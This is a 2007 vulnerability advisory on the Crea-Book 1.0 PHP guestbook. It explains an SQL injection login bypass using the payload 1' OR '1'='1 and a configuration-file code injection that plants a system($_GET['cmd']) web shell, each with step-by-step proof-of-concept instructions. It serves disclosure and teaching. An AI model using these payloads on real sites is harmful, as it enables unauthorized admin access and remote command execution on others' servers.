127 lines
5.5 KiB
Text
Executable file
127 lines
5.5 KiB
Text
Executable file
/=======================================\
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| Advisory :: Crea-Book <= 1.0 |
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+=======================================+---------------------------------------------------------------\
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| |
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| Download link : http://www.comscripts.com/scripts/php.creabook.1359.html |
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| Type : Guestbook |
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| Vuln. found : Admin Access Bypass, DB information Disclosure & Code Execution Weakness |
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| Conditions : magic_quotes_gpc = Off |
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| Risk level : High |
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| |
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+-------------------------------------------------------------------------------------------------------+
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| Program audited by : Xst3nZ <xst3nz@gmail.com> [fr/en] |
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| Date : 2007-04-10 |
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| Last update : 2007-04-10 |
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| |
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+-------------------------------------------------------------------------------------------------------+
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| Summary : 0] Description |
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| 1] Vuln#1 : Administrative Access Bypass using basic SQL injection |
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| 2] Vuln#2 : PHP Code Execution Weakness |
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| 3] Links & Documentation |
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\-------------------------------------------------------------------------------------------------------/
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=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
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<0> DESCRIPTION
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=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
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This script is old but analysing it is a good way to understand some classic security holes in web
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applications. It's just a good and fast training.
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Let's g0 ...
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=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
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<1> VULNERABILITY #1 : ADMINISTRATIVE ACCESS BYPASS USING BASIC SQL INJECTION
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{ Concerned file : admin/admin.php }
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{ Cond: magic_quotes_gpc=Off }
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=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
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If we open the file 'admin/admin.php', we can see that the following code is executed after the submission of
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the login authentification form :
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+--------8<--------
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| // [...] line 8
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| $sql="Select * from $table2 where pseudo='$pseudo' and passe='$passe'";
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| // By the way, we can notice that the script works only if register_globals=On
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| $res=mysql_query($sql);
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| $nb=mysql_num_rows($res);
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| if ($nb>0)
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| {
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| // Login OK [...]
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| }
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| else
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| header("Location: index.php?erreur=2");
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| // line 208 (EOF)
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+--------8<--------
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In fact, the variables called $pseudo and $passe aren't sanitized and so, it is possible to bypass easily the
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authentification by using a basic SQL injection (see [1]). Nevertheless, single quotes must be used in this injection.
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Therefore, the magic_quote_gpc parameter must be disabled (Off) in the php.ini configuration file.
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+---->> Vuln. #1 Pro0f of Concept <<--------
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|
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| - Go to : http://www.victim.com/[install_directory]/admin/admin.php
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| - Type the following string in the two fields :
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| | Pseudo (login) : evil
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| | Mot de passe (password) : 1' OR '1'='1
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| - If magic_quotes_gpc=Off, you are now logged as admin. So, you have access to the control panel.
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| - Let's go to the section called 'Configurer le script' (configure the script). In this page, you can see
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| all the different informations required to connect to the MySQL server (DataBase Information Disclosure)
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+-------------------------------------------//
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=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
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<2> VULNERABILITY #2 : PHP CODE EXECUTION WEAKNESS
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{ Concerned file : admin/configurer2.php }
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{ Cond: magic_quotes_gpc=Off, admin access OK }
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=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
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The file 'admin/configurer2.php', which is used when the configuration form is submitted, contains the following
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code :
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+--------8<--------
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| // [...] line 95
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| $fichier = fopen("../config.inc.php3","w+") OR die ("...");;
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| fwrite($fichier, "<?php\n") or die ("...");
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| fwrite($fichier, "// Infos de connexion <20> la base de données\n\n$");
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| fwrite($fichier, "bddserver = \"$bddserver\";\n$");
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| // [...]
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| fwrite($fichier, "mess_fin = \"$mess_fin\";\n");
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| fwrite($fichier, "?>");
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| fclose($fichier);
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| // line 125
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+--------8<--------
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So, all the information which are typed in the form are written in a PHP file called 'config.inc.php3' without
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any verification before. Consequently, a malicious person which have an admin access (easy with the vuln #1) can put
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what she wants in the file in question (only if magic_quotes_gpc=Off because double quotes are used). Let's
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see an example in the next PoC :
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+---->> Vuln. #2 Pro0f of Concept <<--------
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| - Log in as admin on 'admin/admin.php' (see Vuln. #1 PoC).
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| - Go to 'admin/configurer.php'.
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| - Type the following string in one of the fields : value"; [Malicious PHP code]; $nothing="
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| Example with the fields 'Fond de la page' (background color) : #FFFFFF"; system($_GET['cmd']); $nothing="
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| that gives : $fond = "#FFFFFF"; system($_GET['cmd']); $nothing="";
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+-------------------------------------------//
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Note : the file 'install/index.php' isn't deleted after the installation and it contains the same configuration
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form. But, database information (login, password, DB name, server name) are required to write data into the PHP file...
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=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
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<3> LINKS & DOCUMENTATION
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=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
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[1] SQL injection Attacks by Example (good)
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http://www.unixwiz.net/techtips/sql-injection.html
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// [EOF] Xst3nZ
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# milw0rm.com [2007-04-10]
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